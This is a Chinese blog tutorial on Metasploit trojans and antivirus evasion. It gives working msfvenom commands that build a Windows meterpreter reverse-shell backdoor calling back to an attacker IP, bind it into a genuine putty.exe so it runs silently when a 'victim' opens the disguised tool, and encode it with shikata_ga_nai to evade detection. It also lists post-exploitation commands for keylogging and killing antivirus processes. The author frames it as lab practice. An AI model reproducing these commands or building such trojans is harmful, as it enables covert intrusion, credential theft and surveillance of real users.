← 返回

Metasploit 渗透测试 - 木马与免杀

安全、渗透 • 2026年4月22日

一、最简单的后门

msfvenom是msfcli和msfencode的合体,功能更加强大,使用更方便。msfvenom可以生成各种格式的payload,并且支持多种编码方式,可以帮助我们绕过杀毒软件检测。

使用msfvenom生成一个windows/meterpreter/reverse_tcp的payload,连接到攻击者的IP地址

基本参数说明

  • -p: --payload,指定要生成的payload类型
  • -f: --format,指定生成的文件格式
  • -o: output,指定生成的文件路径

参数:使用key=value的格式指定payload的参数,例如LHOST=10.10.10.133

msfvenom 生成 payload

开启监听服务器

另外,需要开启一个服务器监听,以便接收被攻击主机的连接。

设置监听端口
设置 payload

执行木马

接下来在靶机上打开第一步生成的hackme.exe文件,运行它,服务器就会收到一个meterpreter的连接,成功进入靶机的命令行界面。

常用利用命令

  • sysinfo - 查看系统信息
  • kill <pid> - 杀死指定进程(关闭杀毒软件)
  • run vnc - 安装vnc远程控制靶机的桌面(会生成一个临时文件,并且会被杀软检测)
  • keyscan - 监听可能的密码
    • keyscan_start - 开始键盘记录
    • keyscan_dump - 导出记录数据
    • keyscan_stop - 结束键盘记录
  • background - 后台执行会话,切换回msfconsole
键盘监听演示

太棒了!现在我们只需要让受害者下载一个来路不明的名为hackme.exe的可疑文件,为了打开这个软件无视警告关闭杀毒软件,再次运行,并无视没有任何程序打开的可疑结果就行了!

二、捆绑

使用-x <path>选项指定一个可执行文件作为模版,也就是制作捆绑木马

我使用了我的真机测试:Windows11 x64。许多程序捆绑失败了,经验总结为大小不要超过几十MB,最终选用putty.exe 32-bit(一款ssh工具,1.44MB)

命令示例

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.133 LPORT=80 -f exe -x .\putty.exe -o PUTTY.exe --arch x86 --platform windows -k

参数解释

  • -p windows/meterpreter/reverse_tcp:使用payload为windows/meterpreter/reverse_tcp,x86
  • -LHOST=10.10.10.133 LPORT=80:攻击机地址与监听端口,此处为内网kali虚拟机和80端口
  • -f exe:文件格式(format)为exe
  • -x .\putty.exe:以当前路径下putty.exe为模板
  • -o PUTTY.exe:输出生成PUTTY.exe(覆盖原有exe)
  • --arch x86 --platform windows:x86架构,windows平台
  • -k:keep,保持模板程序原有功能正常运行
Putty 木马捆绑

如此便成功生成了木马程序,当受害者下载不那么可疑的putty.exe并打开时,后台已经悄悄打开meterpreter会话了

成功获得反向连接

三、免杀

由于Metasploit的鼎鼎大名,Meterpreter被安全厂商做局了

杀毒软件警告

1. 编码器免杀

Metasploit提供了encoder模块帮助免杀。使用命令列出可用编码器:

msfvenom --list encoders
可用编码器列表

此处选用x86/shikata_ga_nai(Rank:excellent!)迭代10轮

使用-e指定编码器(encoder),-i指定迭代次数(iteration)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.133 LPORT=80 -f exe -x .\putty.exe -o PUSSY.exe --arch x86 --platform windows -k -e x86/shikata_ga_nai -i 10

但效果有限,可怜的木马仍未逃脱被杀毒软件制裁的命运

2. 待续

未完待续...